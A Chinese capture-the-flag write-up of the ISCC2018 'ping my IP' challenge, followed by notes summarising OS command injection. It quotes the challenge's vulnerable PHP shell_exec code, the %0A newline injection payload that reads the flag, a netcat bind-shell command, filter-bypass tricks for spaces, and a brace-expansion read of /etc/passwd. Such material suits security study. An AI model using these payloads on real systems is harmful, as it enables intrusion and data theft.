由ISCC2018…
题面
请ping我的IP 看你会ping通吗
题解
进入题目只有题面这么一句话。
既然题面说了ping,自然很容易联想到命令注入这一块儿,之前没有好好用过命令注入,最近做了这题,顺便总结一下命令注入的相关知识。
好了,回归本题。经测试,?ip=xxx
的确可以做到ping,根据提示,注入点也八九不离十就在这儿了。
测试了n多截断,都没有成功,包括& | ; (反引号) || &&
,最后查到还有%0a
,代表空格。。学习了。注入成功。
然后就是读取了,先ls
一下,看到当前目录下只有index.php,cat
看了一下,发现过滤情况。不过flag并不在这儿
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
echo "
{$cmd}
";
?>
而后直接ls /
到根目录,查看各个可疑的文件夹,在/home里发现flag,cat
读取之。最终Payload为:index.php?ip=127.0.0.1%0Acat /home/flag
分析
这道题不得不说,还是吃了点苦头的。自己对命令注入了解甚少,当初培训讲过的也已经忘记了。所幸,CTF是学习的过程,学到东西就是好题。一开始找不到可用的截断的时候,用了神器commix,然而并没有跑出来。。这个应该还得继续研究一下。
OS Command Injection总结
0x00. Def.
系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数,同时调用的变量未考虑安全因素,就会执行恶意的命令调用,被攻击利用。
0x01.Causes
此类命令执行函数依赖PHP配置文件的设置,如果配置选项 safe_mode 设置为 off,此类命令不可执行,必须设置为 On
的情况下,才可执行。PHP 默认是关闭的。在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir
指令,或在编译PHP是加上 –with-exec-dir
选项来指定,默认是/usr/local/php /bin。
0x02.Method
常见php命令注入函数:
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
命令注入中有讲究的字符
'$'
';'
'|'
'-'
'('
')'
'反引号'
'||'
————以上是上题过滤的。
以下是查到的其他的:
'&&'
'&'
'}'
'{'
姿势
- 检测一阶命令注入的最佳方式是尝试执行一个sleep命令
- 在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
- 如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。
绕过
- 防护措施中使用最多的就是对于payload中空格的限制。
OS命令注入中的空格:
- bash
空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS} - Win shell
空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url
花括号扩展:
- 如:
;{cat,/etc/passwd}'
- bash
参考文章
- FREEBUF 命令注入与挖洞 http://www.freebuf.com/vuls/139924.html
- FREEBUF i春秋关于命令注入的分享http://www.freebuf.com/column/146503.html